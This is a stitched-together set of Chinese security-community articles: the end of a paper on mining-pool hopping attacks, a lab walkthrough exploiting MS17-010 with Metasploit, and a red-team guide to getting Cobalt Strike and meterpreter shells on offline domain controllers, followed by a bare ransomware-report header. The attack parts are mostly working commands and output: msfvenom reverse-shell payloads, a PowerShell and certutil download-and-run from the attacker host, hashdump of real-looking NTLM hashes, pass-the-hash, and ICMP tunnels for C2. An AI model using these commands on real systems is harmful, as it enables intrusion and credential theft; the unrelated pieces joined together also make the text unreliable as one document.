矿池管理者将确定代管方式的矿工的代币是否将其收回。如果智能合约已履行或中断，则在此阶段做出决定。如果智能合约的条款得到满足，矿工将收到所有以托管方式提交的代币。如果不满足条件，则矿工将丢失托管中提供的所有代币。这些代币将平均分配给采矿池中的所有其他矿工，以弥补由于池跳跃攻击而造成的计算能力损失。不履行合约条款的财务后果是阻止矿工放弃挖掘权的必要措施。
**3.更新矿工证书：** 矿池管理者将根据智能合约的结果更新矿工证书。智能合约的更新基于以下两个条件：（1）矿工实施了矿池跳跃攻击（ **M**
att）并放弃了矿池；（2）矿工安全（ **M** sf）并完成了挖掘过程。 **M** att和 **M** sf用于帮助说明矿工证书的更新过程。
α，β和µ的最终值很重要，并在矿工证书中进行了更新，以帮助评估矿工风险（ **M** rsk），并评估托管量。如果矿工放弃了矿池，则
**Hop_Count** （α）和 **SCviolated** （β）值增加1，而 **SCupheld**
（µ）值减少1。矿工证书的基于池跳跃攻击的更新用以下公式表示：
在第一个条件下，假设矿工是第一次（ **M**
att）放弃了矿池，因此α和β的值现在为1。由于该矿工是第一次进行跳池攻击，因此其µ保持为零。现在，该矿工的矿工风险（ **M**
rsk）值为1。在建议的模型中，α和μ的值不能减少超过零。 β的值不会低于1。
为了满足第二个条件，矿工是安全的（ **M** sf）并完成了挖掘过程。 **Hop_Count** （α）值减少1，而 **SCupheld**
（µ）值增加1。但是 **SCviovio** （β）计数保持不变，并且该值不会减少。下式表示成功完成区块挖掘后的矿工证书更新：
如果该矿工的 **Hop_Count** 和 **SCviolated** 值为零，则认为该矿工可以安全加入。当提供较少的财务奖励（ **M** rsk =
1 + 1）时，矿工可能会离开矿池，而在获得更大的奖励时，矿工可能会加入。矿工将支付两个代币的托管费用，并完成挖掘过程。获得托管量，并将
**Hop_Count** 设置为零。如果 **SCviovioed** 计数值减少1，则矿工可以重复离开池，然后在奖励较高时返回的过程。但是，如果
**SCviolated** 保持恒定（ **M** rsk = 0 + 1），则矿工必须先支付一个代管代币，才能加入矿池。
## 0x07 Conclution
本文主要侧重于预防对矿池的跳池攻击，并提出了一种数值模型来计算矿工风险，然后矿池管理者将其纳入矿池。实施了一个详细的方程式以计算矿工作为托管人提交的代币数量。该模型的实现成本低廉，不需要专门的技术知识。模型有一定局限性：（1）由于矿工与矿池管理者之间的冲突而导致的矿工证书更新不准确；以及（2）矿池管理者维护的本地数据库的数据库安全性。可以通过确保在矿池中所有现有矿工的同意下更新矿工证书来解决这些限制。 | 社区文章 |
# 0x00 前言
很久没有更新博客了，主要是因为工作很忙，写博客也太耗时间了。但是突然发现，许久不写很多东西都快生疏了。因而决定从今天起开始写一些跟渗透测试相关的文章，也可以认为是学习笔记吧，留作日后的技术积累和参考吧。
# 0x01 案列分析
**实验环境：**
* 目标靶机：10.11.1.0/24
* 攻击机：Kali Linux (10.11.0.79)
**信息收集：**
扫描存在smb服务的主机：
# nmap -A -p 139,445 10.11.1.1-254 -oG smb_service.txt
# cat smb_service.txt | grep -i windows | cut -d" " -f2
10.11.1.5
10.11.1.31
10.11.1.49
10.11.1.50
10.11.1.73
10.11.1.128
10.11.1.145
10.11.1.202
10.11.1.218
10.11.1.220
10.11.1.223
10.11.1.227
10.11.1.229
10.11.1.230
# cat smb_service.txt | grep -i open | cut -d" " -f2 > smb_server_all.txt
扫描存在smb漏洞的主机：
# find / -name smb*vuln*.nse
/usr/share/nmap/scripts/smb-vuln-cve2009-3103.nse
/usr/share/nmap/scripts/smb-vuln-ms06-025.nse
/usr/share/nmap/scripts/smb-vuln-cve-2017-7494.nse
/usr/share/nmap/scripts/smb-vuln-ms07-029.nse
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse
/usr/share/nmap/scripts/smb-vuln-conficker.nse
/usr/share/nmap/scripts/smb-vuln-ms08-067.nse
/usr/share/nmap/scripts/smb-vuln-regsvc-dos.nse
/usr/share/nmap/scripts/smb-vuln-ms10-054.nse
/usr/share/nmap/scripts/smb-vuln-ms10-061.nse
# for vul in $(find / -name smb*vuln*.nse | cut -d"/" -f 6); do nmap -v -p 139,445 --script=$vul -iL smb_server_all.txt -oN smb_vulns_$vul.txt; done
# cat smb_vulns_smb-vuln-*.txt | grep IDs:
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
**漏洞利用：**
检查并验证存在smb ms17-010漏洞的主机：
# cat ../scripts/smb_vulns_smb-vuln-ms17-010.nse.txt
# Nmap 7.50 scan initiated Mon Jul 3 13:57:06 2017 as: nmap -v -p 139,445 --script=smb-vuln-ms17-010.nse -iL smb_server_all.txt -oN smb_vulns_smb-vuln-ms17-010.nse.txt
Nmap scan report for 10.11.1.5
Host is up (0.24s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:35:AF (VMware)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
... ...
Nmap scan report for 10.11.1.220
Host is up (0.24s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:15:14 (VMware)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
... ...
Nmap scan report for 10.11.1.230
Host is up (0.25s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:5C:19 (VMware)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Jul 3 13:57:53 2017 -- 19 IP addresses (19 hosts up) scanned in 46.85 seconds
IP: 10.11.1.5 利用失败
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST yes The target address
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VerifyArch true yes Check if remote architecture matches exploit Target.
VerifyTarget true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.5
RHOST => 10.11.1.5
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.5:445 - Connecting to target for exploitation.
[+] 10.11.1.5:445 - Connection established for exploitation.
[!] 10.11.1.5:445 - Target OS selected not valid for OS indicated by SMB reply
[!] 10.11.1.5:445 - Disable VerifyTarget option to proceed manually...
[-] 10.11.1.5:445 - Unable to continue with improper OS Target.
[*] Exploit completed, but no session was created.
IP: 10.11.1.230 同样地，利用失败了
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.230
RHOST => 10.11.1.230
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.230:445 - Connecting to target for exploitation.
[+] 10.11.1.230:445 - Connection established for exploitation.
[+] 10.11.1.230:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.11.1.230:445 - CORE raw buffer dump (25 bytes)
[*] 10.11.1.230:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.11.1.230:445 - 0x00000010 74 65 20 4e 20 37 36 30 30 te N 7600
[!] 10.11.1.230:445 - Target arch selected not valid for arch indicated by DCE/RPC reply
[!] 10.11.1.230:445 - Disable VerifyArch option to proceed manually...
[-] 10.11.1.230:445 - Unable to continue with improper OS Arch.
[*] Exploit completed, but no session was created.
IP: 10.11.1.220 成功利用并反弹了一个shell回来
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.220
RHOST => 10.11.1.220
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.220:445 - Connecting to target for exploitation.
[+] 10.11.1.220:445 - Connection established for exploitation.
[+] 10.11.1.220:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.11.1.220:445 - CORE raw buffer dump (51 bytes)
[*] 10.11.1.220:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.11.1.220:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 10.11.1.220:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 10.11.1.220:445 - 0x00000030 6b 20 31 k 1
[+] 10.11.1.220:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.11.1.220:445 - Trying exploit with 12 Groom Allocations.
[*] 10.11.1.220:445 - Sending all but last fragment of exploit packet
[*] 10.11.1.220:445 - Starting non-paged pool grooming
[+] 10.11.1.220:445 - Sending SMBv2 buffers
[+] 10.11.1.220:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.11.1.220:445 - Sending final SMBv2 buffers.
[*] 10.11.1.220:445 - Sending last fragment of exploit packet!
[*] 10.11.1.220:445 - Receiving response from exploit packet
[+] 10.11.1.220:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.11.1.220:445 - Sending egg to corrupted connection.
[*] 10.11.1.220:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.11.0.79:4444 -> 10.11.1.220:62009) at 2017-07-04 03:08:40 -0400
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
**后渗透利用：**
在上一步中我们成功地从IP：10.11.1.220上反弹了一个shell回来，但很显然这不是一个完美的交互式的shell且不稳定可靠，那么接下来我们该怎么办呢？首先，我们想到的是获得一个功能更加强大且稳定可靠的meterpreter。
检查目标系统的操作系统版本：
C:\Windows\system32>dir c:\
dir c:\
Volume in drive C has no label.
Volume Serial Number is A49A-E592
Directory of c:\
12/27/2013 11:37 PM <DIR> Ftp Root
07/13/2009 07:20 PM <DIR> PerfLogs
12/28/2013 02:15 AM <DIR> Program Files
12/28/2013 10:03 PM <DIR> Program Files (x86)
12/27/2013 11:37 PM <DIR> temp
08/02/2012 01:59 PM <DIR> Users
12/27/2013 11:37 PM <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 28,860,628,992 bytes free
显然目标系统是一个64位的Windows server 2008的服务器。
接下来，生成一个64位windows的meterpreter payload：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker ip> LPORT=<listen port> -f exe -a x64 --platform win -o mp_64.exe
**注** ：32位的windows的meterpreter payload：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker ip> LPORT=<listen port> -f exe -a x86 --platform win -o mp_86.exe
上传meterpreter payload (mp_64.exe)
至攻击机的web目录中(/var/www/html/payload)以便目标机可以通过http链接来下载它。
重新开启一个msfconsole并开启监听。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ---- 0 Wildcard Target
msf exploit(handler) > set LHOST 10.11.0.79
LHOST => 10.11.0.79
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.11.0.79:8080
[*] Starting the payload handler...
利用反弹的shell创建用于下载我们准备好的meterpreter
payload的powershell脚本，然后执行脚本下载payload（mp_64.exe）并执行。
c:\Users\Administrator\Desktop>echo $storageDir=$pwd > wget.ps1
echo $storageDir=$pwd > wget.ps1
c:\Users\Administrator\Desktop>echo $webclient=New-Object System.Net.WebClient >>wget.ps1
echo $webclient=New-Object System.Net.WebClient >>wget.ps1
c:\Users\Administrator\Desktop>echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1
echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1
c:\Users\Administrator\Desktop>echo $file="mp_64.exe" >>wget.ps1
echo $file="mp_64.exe" >>wget.ps1
c:\Users\Administrator\Desktop>echo $webclient.DownloadFile($url,$file) >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
c:\Users\Administrator\Desktop>type wget.ps1
type wget.ps1
$storageDir=$pwd
$webclient=New-Object System.Net.WebClient
$url="http://10.11.0.79/payload/mp_64.exe"
$file="mp_64.exe"
$webclient.DownloadFile($url,$file)
c:\Users\Administrator\Desktop>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
c:\Users\Administrator\Desktop>mp_64.exe
至此，我们成功地获得了一个功能强大的meterpreter，并可以很容易去dump hash为更进一步的渗透做准备。
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 10.11.0.79:8080
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 10.11.1.220
[*] Meterpreter session 1 opened (10.11.0.79:8080 -> 10.11.1.220:49326) at 2017-08-09 03:57:36 -0400
meterpreter > help
Core Commands
=============
Command Description
------- ----------- ? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- ----------- cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- ----------- arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- ----------- clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- ----------- enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- ----------- record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands
======================
Command Description
------- ----------- getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- ----------- hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- ----------- timestomp Manipulate file MACE attributes
meterpreter > screenshot
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bca55919186bf4443840164612ce9f77:::
kevin:1106:aad3b435b51404eeaad3b435b51404ee:aef3d57f355a02297fc386630a01449e:::
robert:1110:aad3b435b51404eeaad3b435b51404ee:0d3f32016ee8a42ba768d558875d57e5:::
avfisher:1120:aad3b435b51404eeaad3b435b51404ee:ef28083240cb79a25adb4290ce6cb67b:::
MASTER$:1000:aad3b435b51404eeaad3b435b51404ee:e0a6ad80117cbe539c459dafc5291f27:::
SLAVE$:1103:aad3b435b51404eeaad3b435b51404ee:789cf984d53d9616fca933d37e974209:::
OBSERVER$:1111:aad3b435b51404eeaad3b435b51404ee:d60552ce7c9dc4fabdf0ba4e5fc46f69:::
**补充：**
拿到了Hash之后我们就可以进行Pass The Hash攻击了，例如，从上一步我们可以看到Administrator的NTLM hash是
aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e,
因此可以直接利用这个Hash登陆目标机器10.11.1.220:
# export SMBHASH=aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e
# pth-winexe -U Administrator% //10.11.1.220 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
thinc\administrator
C:\Windows\system32>
# 0x03 小结
总结一下本案例中的渗透思路：
1. 利用nmap批量扫描开放smb服务端口的主机
2. 利用nmap扫描存在smb漏洞的服务主机
3. 利用ms17-010验证和攻击目标主机并反弹shell
4. 制作更加稳定可靠的meterpreter payload
5. 利用powershell脚本下载meterpreter并执行
6. 获得meterpreter为进一步渗透做准备 | 社区文章 |
# 前言
网络安全的本质是懂进攻，知防守，先正向，后逆向。
一名优秀的白帽子，是不能有短板的，有的只能是很多的标准板和几块长板。
# 网络拓扑图
# 一、msf正向木马拿不出网域控shell
## msf生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
用msfvenom生成一个正向马传进去（因为无法访问外网，反向出不来），msf正向连接。
## 域控上线msf
通过域控web服务的shell进行操作，域控远程下载边界跳板机上的马
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://xxx.xxx.xxx/msf1.exe msf1.exe
再通过提权工具进行执行
C:\ProgramData\xxxx.exe -i -c "msf1.exe"
msf通过代理开启监听
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST xxx.xxx.xxx
set lport 4444
run
成功获取域控服务器的shell
# 二、主机中转监听横向上线不出网域控
## 设置中转监听
这个监听IP要内网可以通信的内网IP
然后生成无阶段木马(分阶段木马无法选择中转监听器)，再把木马copy到域控，设置好任务计划，启动木马之后就能够获取域控的shell了
## ipc$+计划任务
通过net use建立IPC$连接
shell net use \\x.x.x.x\c$ "xxx" /user:"administrator"
利用copy上传后门文件到域控
shell copy C:\xxx.exe \\x.x.x.x\c$
运行任务，其中/i表示立即运行
shell schtasks /run /s x.x.x.x /u Administrator /p xxxx /tn test /i
## 域控成功上线cs
# 三、仅ICMP出网pingtunnel上线msf&cs
## 0\. 环境搭建
WEB边界服务器是公司对外提供Web服务的机器，该机器可以通内网，同时向公网提供服务。内网同网段存在一台Windows内网服务器域控，Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps（ping），所以只能用ICMP搭建通往内网的隧道，访问内网服务器域控进行后续攻击操作。
## 1\. pingtunnel
注意，在客户端中运行一定要加noprint nolog两个参数，否则会生成大量的日志文件
由于ICMP为网络层协议，应用层防火墙无法识别，且请求包当中的数据字段被加密
## 2\. vps服务端开启
./pingtunnel -type server ##开启服务器模式
回显0连接
## 3\. 客户端开启
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
客户端本地监听9999端口 ，将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后，kali有回显
## 4\. msf上线
制作木马，木马的回连地址为127.0.0.1:9999,运行上线msf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe
msf开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 7777
exploit -j
把木马msf.exe从蚁剑上传到靶机，运行
已上线msf
## 5\. CS上线
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
客户端本地监听9999端口 ，将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后，kali有回显
建立监听127.0.0.1:9999和x.x.x.x:7777
对ICMP-127的监听生成木马cs.exe
传到靶机运行
CS监听上线
# 四、仅ICMP出网SPP上线Cobalt Strike
## 环境搭建
WEB边界服务器是公司对外提供Web服务的机器，该机器可以通内网，同时向公网提供服务。内网同网段存在一台Windows内网服务器域控，Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps（ping），所以只能用ICMP搭建通往内网的隧道，访问内网服务器域控进行后续攻击操作。
## 工具：
SPP
反向代理用于进入目标内网，正向代理可配合远控工具进行上线。
## 1\. Server
服务端启动
./spp -type server -proto ricmp -listen 0.0.0.0
## 2\. Client
客户端启动
-nolog 1不输出日志，-noprint 1不打印内容
spp.exe -name "cs" -type proxy_client -server x.x.x.x -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1
vps回显
## 3\. 创建SPP Listeners
配置一个http beacon，Host为vps地址：x.x.x.x，监听8081端口
## 4\. 创建SPP-127 Linsteners
再起一个本地监听的http beacon，Host为：127.0.0.1（这里也可以换成web跳板机的内网IP：x.x.x.x），监听本地8082
## 5\. 生成无阶段木马
监听器选择SPP-127，进行上线
传到靶机运行
此时查看cs已上线
vps回显
将SPP-127 Linsteners的Host换成web跳板机的内网IP：x.x.x.x，监听本地8082
生成无阶段木马
监听器选择SPP-127，进行上线
传到靶机运行
此时查看cs已上线
vps回显
# 五、Pystinger正向代理上线不出网域控到cs
## 工具：
Pystinger
## 条件：
1. TCP、ICMP、DNS均不出网。
2. 具有Web服务，并获得Webshell权限。
web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
## 1\. 上传代理文件
1. 通过Webshell上传Pystinger的对应语言的Webshell到目标机器，实现内网SOCK4代理， 确保<http://x.x.x.x/pystinger/proxy.php可以访问，页面返回> UTF-8。
## 2\. 服务端运行
参考github上Cobalt Strike多主机上线方式，上传stingger_server.exe到目标机器，然后运行
start stinger_server.exe 0.0.0.0
## 3\. 客户端运行
在VPS上上传stinger_client，-w proxy的url地址，执行
./stinger_client -w http://x.x.x.x/pystinger/proxy.php -l 0.0.0.0 -p 60000
## 4\. 创建监听器
Cobalt Strike新建监听pystinger，多主机上线设置Host为目标机器能够与更深层机器相连的内网ip：x.x.x.x，端口为60020。
单主机上线设置Host为目标机器的ip：127.0.0.1，端口为60020，只能本主机上线
## 5\. 生成木马
蚁剑运行木马文件
此时查看cs已上线
# 六、goproxy http代理上线不出网域控到cs
## 工具：
goproxy
## 条件：
1. TCP、ICMP、DNS均不出网。
2. 具有Web服务，并获得Webshell权限。
web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
## 1\. 上传proxy.exe
通过Webshell上传proxy.exe到目标机器的可读可写目录，执行以下命令在这台出网主机开启一个4444端口的HTTP服务，供后面与不出网域控通讯。
proxy.exe http -t tcp -p "0.0.0.0:4444" --daemon
netstat -ano
## 2\. 创建监听器
Cobalt strike创建监听器，代理地址为不出网域控能访问到的地址，<http://x.x.x.x:4444>
## 3\. 生成木马
有效荷载选择Windows Executable(S)，不然无法上线
然后利用蚁剑将该文件上传到web服务器供不出网域控下载使用。
不出网win2008执行如下命令，要写不出网win2008同层能访问到的地址，下载CS的有效载荷。
certutil -urlcache -split -f <http://x.x.x.x/xxx.exe> C:\xxx.exe
执行木马
成功上线cs
# 七、内存加载不出网域控上线cs
## 条件：
1. TCP、ICMP、DNS均不出网。
2. 具有Web服务，并获得Webshell权限。
web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
## 1\. 拿跳板机session
首先拿到跳板机的一个Administrator权限的session
## 2\. 创建监听器
创建一个Bind TCP Listener
## 3\. 生成木马
生成无阶段木马
免杀后上传到跳板机的C:\
## 4.内存加载xxx.exe
execute-assembly C:\xxx.exe -m=psexec -i=x.x.x.x -u=administrator -p=xxxx -d=xxx -f=C:\xxx.exe -e=C:\xxx.exe
## 5.连接目标机
connect x.x.x.x 4444
## 6.查看cs目标已成功上线
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。
博客:
<https://rdyx0.github.io/>
先知社区：
<https://xz.aliyun.com/u/37846>
SecIN:
<https://www.sec-in.com/author/3097>
CSDN:
<https://blog.csdn.net/weixin_48899364?type=blog>
公众号：
[https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect)
FreeBuf：
<https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85> | 社区文章 |
# Globelmposter 3变种病毒详细分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
